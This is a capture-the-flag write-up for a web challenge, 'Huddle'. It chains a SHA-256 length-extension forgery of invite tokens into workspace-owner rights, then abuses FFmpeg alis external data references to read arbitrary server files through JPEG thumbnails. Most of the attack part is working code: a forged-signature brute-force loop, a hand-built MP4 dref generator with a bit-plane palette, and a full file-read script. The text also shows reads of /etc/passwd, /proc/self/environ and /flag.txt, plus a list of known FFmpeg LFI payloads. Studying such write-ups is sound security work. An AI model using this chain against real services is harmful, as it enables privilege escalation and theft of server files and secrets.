TL;DR
Huddle signs invite tokens with sha256(secret ‖ "team=main&email=…&role=member") and parses them with a hand-rolled last-duplicate-key-wins splitter, so a SHA-256 length-extension appending &role=owner promotes any member to workspace owner. Owner unlocks the video- message thumbnailer, which shells out to ffmpeg -enable_drefs 1 -use_absolute_path 1; a hand- built MP4 with a Mac-alias (alis) external data reference plus a custom 256-entry pal8 colour table turns each thumbnail into one JPEG-lossless bit-plane of an arbitrary server file, and 8 requests reconstruct /flag.txt byte-exact.
01Recon
Target: http://k9bade1ac79139f00d48a9813d1318e9e.playat.flagyard.com (later re-run against a second instance k85c055eb8836a37c0d581c3dc51ab1c2…). Express + React SPA; nginx front, static catch-all returns index.html (200, 18191 bytes) for every unknown path, so path/file enumeration is dead (/server.js, / package.json, /.git/HEAD, /flag.txt all return the SPA). API 404s are JSON: {"error":"not found"}.
Endpoints extracted from /bundle.js:
"/api/channels/" "/api/files/thumbnail" "/api/files/upload"
"/api/invite" "/api/join" "/api/login"
"/api/me" "/api/register" "/api/workspace"
"/api/workspace/settings"Baseline as a fresh registered user (POST /api/register {email,password}, session cookie sid=<48 hex>, HttpOnly):
GET /api/me -> {"email":"pwn1@x.com","role":"member","workspace":"Huddle HQ"}
GET /api/workspace -> {"name":"Huddle HQ","settings":{"video_messages":false},
"your_role":"member","channels":[general, random, engineering]}
GET /api/invite -> {"token":"dGVhbT1tYWluJmVtYWlsPXB3bjFAeC5jb20mcm9sZT1tZW1iZXI",
"sig":"35d201c7dbfc5187541c4150781dfa43b7aa02a056f899797ac000bc2f385eec"}token is base64url of team=main&email=<your email>&role=member; the client builds the share link as /join? token=<token>&sig=<sig>. sig is 64 hex chars = SHA-256. The bundle also shows /api/workspace/settings is gated client-side on your_role === "owner" and toggles a single video_messages boolean, and that the message composer attaches video/*.mov files and then requests a thumbnail.
The parsed oracle. POST /api/join {token, sig} with a wrong signature still echoes the server-side parse:
{"error":"invalid invite signature","parsed":{"team":"main","email":"pwn3@x.com","role":"owner"}}Feeding crafted query strings through this oracle characterised the parser exactly:
TOKEN PAYLOAD PARSED
…&role=owner&role=member role: "member" — last duplicate wins
…&role=member&role=owner role: "owner"
…&role[]=owner key kept literally as role[] (no PHP-style array coercion)
…&role=owner%00x role: "owner%00x" — no URL-decoding
…&ROLE=owner key ROLE — case-sensitiveSo it is a raw split('&') / split('=') loop, last write wins, no percent-decoding. sig: null / sig: 0 → {"error":"token and sig required"}; true / [] / {} → invalid signature (no type-confusion bypass).
Thumbnailer fingerprint. After becoming owner and enabling video_messages: POST /api/files/upload takes a raw application/octet-stream body and returns {"ok":true,"file_id":"F0000000N","size":N}; POST /api/files/thumbnail {"file_id":…} returns {"ok":true,"thumb_url":"/thumbnails/<16 hex>.jpg"} or {"error":"could not generate a thumbnail for this clip"}.
- file_id is strictly validated:../..
/etc/passwd,/etc/passwd, F00000002; id../vid all → {"error":"no such file"}. No traversal, no command injection. - Format gate: PNG, JPG, GIF, AVI, WebM, SVG, HLS.m3u8, ffconcat and neex's
gen_xbin_avi.pyAVI+M3U+XBIN payload are all rejected..mov and.mp4 work. Zeroing the major brand (d[:8] + b'XXXX' + d[12:]) still works; stripping the ftyp box fails → the check is literally bytes 4–8 == ftyp. - Output JPEG carries Comment: Lavc59.37.100 → FFmpeg 5.1, baseline, 3 components, YCbCr 4:2:0, and the JPEG's dimensions equal the source video's dimensions (64x16 in → 64x16 out), i.e. no rescaling.
The exact server command was later read out of /proc/self/cmdline through the LFI itself:
ffmpeg -y -loglevel error -enable_drefs 1 -use_absolute_path 1 \ -i /tmp/huddle/uploads/F00000003 -frames:v 1 -q:v 2 /tmp/huddle/thumbs/<random>.jpg
/proc/self/environ: HOME=/tmp, PATH=…, PWD=/app.
02The bug
Bug 1, invite token signed with a raw SHA-256 prefix MAC over an attacker-extendable message. GET /api/invite returns token = b64url("team=main&email=" + user.email + "&role=member") and sig = sha256(SECRET ‖ token_plaintext), a length-extension-vulnerable construction, not HMAC. POST /api/join verifies sig over the decoded plaintext and then applies the token's role to the token's email (an unknown email gives {"error":"no such member email"}), so a member can rewrite their own role if they can forge a signature.
The parser makes it exploitable in exactly one direction: it is a hand-rolled split('&') / split('=') where the last duplicate key wins. The server-controlled role=member is the last field of the legitimate message, so injecting &role=owner through the email field lands before it and is overwritten:
register email = "pwn3@x.com&role=owner"
token = team=main&email=pwn3@x.com&role=owner&role=member
parsed = {"team":"main","email":"pwn3@x.com","role":"member"} # losesLength extension appends after everything, including the glue padding, so the injected role=owner becomes the final occurrence and wins:
team=main&email=pwn3@x.com&role=member ‖ md-padding ‖ &role=owner → role = ownerThe secret length is the only unknown, and it is directly brute-forceable because the "invalid invite signature" error is a clean oracle (20 bytes on instance 1, 17 on instance 2, randomised per deployment).
Bug 2, owner-gated thumbnailer runs FFmpeg with -enable_drefs 1 -use_absolute_path 1. Those two demuxer options re-enable QuickTime external data references: the moov/trak/mdia/minf/dinf/dref box may point sample data at a file outside the container. In libavformat/mov.c (n5.1.3), mov_read_dref() only honours MKTAG('a','l','i','s') records with size > 150; a url entry falls into the else branch that decrements entries / i and drops it silently, so the "obvious" url -dref exploit does nothing. Inside an alis record, a variable-length record of type == 2 sets dref->path (absolute path), and mov_open_dref() takes the absolute-path branch when nlvl_to == 0 || nlvl_from == 0:
} else if (c->use_absolute_path) {
av_log(c->fc, AV_LOG_WARNING, "Using absolute path on user request, ...");
if (!c->fc->io_open(c->fc, pb, ref->path, AVIO_FLAG_READ, NULL))
return 0;with test_same_origin() /.. /: filtering bypassed entirely (those only guard the relative branch when use_absolute_path is 0). With the sample description set to codec raw and stsz / stco under attacker control, the decoded frame is the raw bytes of any server file, at any offset.
Bug 3 (exfil channel), lossy JPEG output defeated with a custom palette. The thumbnail is JPEG, so mapping one file byte to one gray8 pixel destroys the data (measured: max error 10, mean 1.89, only 25.6% of bytes exact). The QuickTime raw sample description with depth = 8 decodes as pal8 and, when the colour-table id field is 0 instead of -1, an inline 256-entry colour table follows in the sample description. Setting entry i to pure black or pure white according to bit k of i makes every pixel a JPEG-survivable extreme, so one request yields one exact bit-plane and 8 requests yield the file byte-for- byte.
03Exploitation
- Register and pull a signed invite
POST /api/register {"email":"pwn3@x.com","password":"Passw0rd123"} -> role: member
GET /api/invite
token = dGVhbT1tYWluJmVtYWlsPXB3bjNAeC5jb20mcm9sZT1tZW1iZXI
= "team=main&email=pwn3@x.com&role=member"
sig = 24565308adfe8a532d6b724cb0eb7b7e296b97e96b4c782339f5f4de2afb0d04- Confirm the parser is last-wins (via the parsed oracle)
POST /api/join with any bogus sig echoes parsed. …&role=owner&role=member → member; … &role=member&role=owner → owner. Appending after the message is therefore the winning position. (Registering with email = "pwn3@x.com&role=owner" and joining yields {"ok":true,"email":"pwn3@x.com","role":"member"}, injection alone is useless.)
- SHA-256 length extension → owner
No hash_extender / hashpumpy on the box, so SHA-256 was reimplemented in pure Python (sha256ext.py: compress(), padding(msglen) = b"\x80" + b"\x00"*((55-msglen)%64) + pack(">Q", msglen*8), extend(orig_hex, orig_len, append) seeding the state from the 8 words of orig_hex). Self-test against hashlib passed.
Brute-force the secret length 0–79, forging sig' = sha256_extend(sig, klen+len(qs), b"&role=owner") and token' = b64url(qs ‖ padding(klen+len(qs)) ‖ "&role=owner"), and POST each to /api/join with your own session cookie:
raw 20 {"ok":true,"email":"pwn3@x.com","role":"owner"} # instance 1
[+] secret length = 17 -> {'ok': True, ..., 'role': 'owner'} # instance 2
GET /api/me -> {"email":"pwn3@x.com","role":"owner","workspace":"Huddle HQ"}(Extending the base64 string instead of the decoded query string, the b64 mode in the first script, never validates; the MAC is over the raw plaintext.)
- Unlock the thumbnailer
POST /api/workspace/settings {"video_messages":true}
-> {"ok":true,"settings":{"video_messages":true}}- Build an MP4 with an alis external data reference (
mkdref.py)
Minimal QuickTime file: ftyp('qt ') + moov(mvhd + trak(tkhd + mdia(mdhd + hdlr'vide' + minf(vmhd + dinf(dref) + stbl)))). The dref holds one alis entry laid out to match mov_read_dref()'s fixed skips:
def alis_dref(path, nlvl_from, nlvl_to):
p = b'\x00\x00\x00\x00' + b'\x00'*10 # version+flags, skipped
p += b'\x00' + b'\x00'*27 # volume_len = 0, volume[27]
p += b'\x00'*12 + b'\x00' + b'\x00'*63 # skipped, filename_len, filename[63]
p += b'\x00'*16 + struct.pack('>HH', nlvl_from, nlvl_to) + b'\x00'*16
pb = path.encode()
if len(pb) % 2: pb += b'\x00' # parser rounds odd len up
p += struct.pack('>HH', 2, len(pb)) + pb # type 2 = absolute path
p += struct.pack('>HH', 0xffff, 0) # type -1 terminator
return box(b'alis', p)nlvl_from = nlvl_to = 0 forces the use_absolute_path branch. stsd carries a raw sample entry with data_reference_index = 1, stsz.sample_size = fsize, stts one entry, and stco chunk offset = the read offset inside the external file, i.e. arbitrary offset control. Local verification:
[mov,mp4,...] Using absolute path on user request, this is a possible security issue
[mov,mp4,...] Opening '/etc/passwd' for reading
Stream #0:0: Video: rawvideo (raw / 0x20776172), pal8, 64x64Depth field → pix_fmt map (measured with ffprobe): 1/2/4/8/33/34/36/40 → pal8, 16 → rgb555be, 24 → rgb24, 32 → argb. Depth 8 = one file byte per pixel.
- Beat JPEG with a bit-plane palette
Patch the builder to emit an inline colour table: set the sample entry's colour-table-id to 0 (instead of -1) and append pack('>IHH', 0, 255, 255) followed by 256 entries of pack('>HHHH', 0xffff, r*257, g*257, b*257); also change the frame-size formula to (width*(depth & 0x1f)+7)//8 * height. Palette for bit k: entry i = white if (i >> k) & 1 else black. Local check on a 4096-byte file: jpeg match 1.0 (perfect), versus 0.256 exact for the naive gray8 mapping.
- Read files
Per request: build the MP4 for path/offset/bit, POST /api/files/upload (raw body), POST /api/files/ thumbnail, GET /thumbnails/<hash>.jpg, threshold luma at 128 → one bit-plane. OR the 8 planes together.
Multi-row frames desync on the server's FFmpeg 5.1 pal8 line stride (64x16 read of /etc/passwd dropped bytes at every row boundary: daemon:x:1:1:daemon:/usr/sbin:/u/nologin), so all reads use height 1, width N, clean up to 8192 bytes per request, zero-padded past EOF. Reads are deterministic and reproduce identically across runs.
A nonexistent path returns {"error":"could not generate a thumbnail for this clip"}, giving a free file- existence oracle:
OK /app/package.json OK /app/server.js OK /flag.txt OK /etc/hostname OK /proc/self/mounts
NO /flag NO /app/flag.txt NO /root/flag.txt NO /app/.env- Flag
$ python3 rf.py /flag.txt
========================= /flag.txt
b'BHFlagY{...}'Verified at three read widths (128 / 2048 / 8192). Second instance, driven end-to-end by a single pwn.py <url> (register → length-extend → enable video → read) in ~15 s, secret length 17, and re-verified with a fresh account at a different width:
BHFlagY{...}Key code import base64, json, io, sys, http.cookiejar, urllib.request import sha256ext, mkdref from PIL import Image import numpy as np
U = sys.argv[1].rstrip('/')
EMAIL, PASS = "pwn9@x.com", "Passw0rd123"
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def call(method, path, data=None, raw=False):
body, hdrs = None, {}
if raw:
body = data; hdrs['Content-Type'] = 'application/octet-stream'
elif data is not None:
body = json.dumps(data).encode(); hdrs['Content-Type'] = 'application/json'
r = urllib.request.Request(U + path, data=body, method=method, headers=hdrs)
try: return op.open(r, timeout=60).read()
except urllib.error.HTTPError as e: return e.read()
def j(*a, **k): return json.loads(call(*a, **k))
# 1. register as an ordinary member
j('POST', '/api/register', {'email': EMAIL, 'password': PASS})
# 2. signed invite: token = b64url("team=main&email=<me>&role=member"), sig = sha256(SECRET||qs)
inv = j('GET', '/api/invite')
tok, sig = inv['token'], inv['sig']
qs = base64.urlsafe_b64decode(tok + '=' * (-len(tok) % 4))
# 3. SHA-256 length extension: append "&role=owner" -- last-duplicate-key-wins parser
ap = b'&role=owner'
for klen in range(0, 80): # brute-force secret length (17 / 20 observed)
ns = sha256ext.extend(sig, klen + len(qs), ap)
nt = base64.urlsafe_b64encode(qs + sha256ext.padding(klen + len(qs)) + ap).decode().rstrip('=')
res = j('POST', '/api/join', {'token': nt, 'sig': ns})
if 'invalid invite signature' not in str(res):
print(f'[+] secret length = {klen} ->', res) # role: owner
break
# 4. owner-only toggle unlocks the ffmpeg thumbnailer
j('POST', '/api/workspace/settings', {'video_messages': True})
# 5. arbitrary read: MP4 alis-dref (absolute path) + pal8 bit-plane palette, 8 reqs/chunk
def thumb(mp4):
up = j('POST', '/api/files/upload', mp4, raw=True)
if not up.get('ok'): return None, up
t = j('POST', '/api/files/thumbnail', {'file_id': up['file_id']})
if not t.get('ok'): return None, t
return Image.open(io.BytesIO(call('GET', t['thumb_url']))), t
def read_file(path, size=8192, offset=0):
out = np.zeros(size, dtype=np.uint8)
for b in range(8):
pal = [((((i >> b) & 1) * 255,) * 3) for i in range(256)] # bit b -> pure black/white
im, info = thumb(mkdref.build(path, 0, 0, [offset], size, 1, 8, palette=pal))
if im is None: return None, info
out |= ((np.array(im.convert('L')).flatten() > 128).astype(np.uint8) << b)
return out.tobytes(), None
print(read_file('/flag.txt', 2048)[0].rstrip(b'\x00'))04Dead ends
- Parameter injection alone fails. Registering email = "pwn3@x.com&role=owner" produces team=main&email=pwn3@x.com&role=owner&role=member; the oracle showed last-wins, so the server's trailing role=member overrides it. role[]=owner, ROLE=owner, and role=owner%00x (no URL-decoding) were all dead ends.
- Signature type confusion is a dead end. sig: null and sig: 0 → {"error":"token and sig required"}; sig: true / [] / {} → normal invalid invite signature. No undefined / NaN bypass.
- Length-extending the base64 string instead of the plaintext. The first
attack.pyran both a raw and a b64 mode; only raw (extend the decoded query string, then re-encode) ever verified. - First length-extension run returned not authenticated, the ad-hoc Netscape-cookie-jar parser built a malformed Cookie header. Fixed by hardcoding sid=7898300f8c9364e1a170ce7eec47bd5702dd8cbe9e508b94 from
cA.txt; the finalpwn.pyuses http.cookiejar + HTTPCookieProcessor instead. - No hash-extension tooling installed (hash_extender, hashpump, hashpumpy all missing) → SHA-256 compression function and MD-padding written by hand and self-tested against hashlib.
- All the classic FFmpeg LFI payloads are blocked by the ftyp magic gate. neex's
gen_xbin_avi.pyAVI+M3U+XBIN, plain HLS.m3u8 pointing at file:///etc/passwd, and ffconcat version 1.0 / file/etc/passwdwere all uploaded and all returned could not generate a thumbnail for this clip in ~0.44 s (no timing difference vs/dev/zero, so not even a blind read). PNG/JPG/GIF/AVI/ WebM/SVG rejected too; only ftyp -prefixed MP4/MOV pass. - file_id is not injectable.../..
/etc/passwd,/etc/passwd, F00000002; id → {"error":"no such file"}. - Static-file enumeration is useless, the SPA catch-all returns index.html (200, 18191 bytes) for /
server.js, /package.json, /.git/HEAD,/flag.txt, /uploads/…, so 200 means nothing. - url drefs do nothing. Reading
mov.cn5.1.3 showed the non- alis branch just logs Unknown dref type and decrements the entry count; only a Mac-alias record with size > 150 reachesmov_open_dref(). - Naive byte-as-pixel exfil is lossy. gray8 through the server's JPEG encoder: max error 10, mean 1.89, 25.6% of bytes exact (root:x:0:0:root:… came back as ppot8z71:58onqv;0…). monow 1-bit rawvideo survives JPEG but is unreachable, depths 1/2/4/8 all decode as pal8, which is what led to the palette trick instead.
- Multi-row frames desync on the server. 64x64 / 64x16 reads dropped bytes at each row boundary under the server's FFmpeg 5.1 pal8 line stride (locally on FFmpeg 8.1 the same file read cleanly, masking the bug). Switching to height 1 / width N fixed it; 8192 bytes per read verified.
- Short files corrupt full-frame reads locally, a 3256-byte
/etc/passwdin a 4096-pixel frame matched only ~50%; testing with a 16 KBbig.bingave 100%, isolating the issue as short-read rather than palette failure. - The secret length is per-deployment (20 on the first instance, 17 on the second), so it must be brute-forced each time;
pwn.pysweeps 0–79 automatically. - The second host was recycled shortly after the solve (nginx 404 on every path) when asked to re-attack it fresh, the flag had already been captured and verified twice.
Appendix A, Cross-cutting notes Dynamic flags
Most FlagYard instances set FLAG_VALUE="$DYN_FLAG", minting a fresh flag per deployment. Every exploit in this report is therefore written to recover the flag rather than to assert a constant, and several sections list two different flags captured from two different instances of the same challenge.
Instance lifetime
Live instances expire without closing the socket. A dead PWN instance still accepts the TCP connect and then sends nothing; a dead web instance returns connection refused after a handful of probes. When an exploit that previously worked suddenly produces silence, the first hypothesis should be an expired instance, not a broken exploit.
Technique index
TECHNIQUE CHALLENGES
Structured algebraic attack on an under-queried oracle Hokan, Popcnt Oracle
Nonce/key reuse in AEAD (GHASH forbidden attack) Reduce, Reuse, Recycle
Host-artifact recovery (quarantine, trash, journald) Qfact, Whisper
Memory-corruption to control flow baiby-pwn, Teto, Bug Where
Packer / anti-analysis unwrapping upyx, extended-license, free-agentic-tool
Browser-as-confused-deputy (SSRF, file://, CSP bypass) DeckForge, Lumen, Dead Drop
Authorization / access-control escalation HuddleAppendix B, Reproduction
Solver code referenced in this report lives under the challenge directories:
PATH CONTENTS
Crpto/Hokan/sol/ solve.py , enum.c , attack.py , fmt.py , sim.py
Crpto/Hokan/solution/solve_dead_drop.py Dead Drop solver
web/Dead_Drop/ DeckForge solver solve.py , SOLUTION.md , evidence/
web/Lumen/exploit.py Lumen CSP-bypass chainpwn/baiby/ SOLUTION.py, SOLVE_ROUTE_A.py, EXPLOIT_PLAN.md, HANDOFF.md
pwn/teto/exploit/ byte-exact simulator, planner, painter, leak (validated)rev/upyx_out/ WRITEUP.md, solve_960.py, recover_flag.py, decrypted modules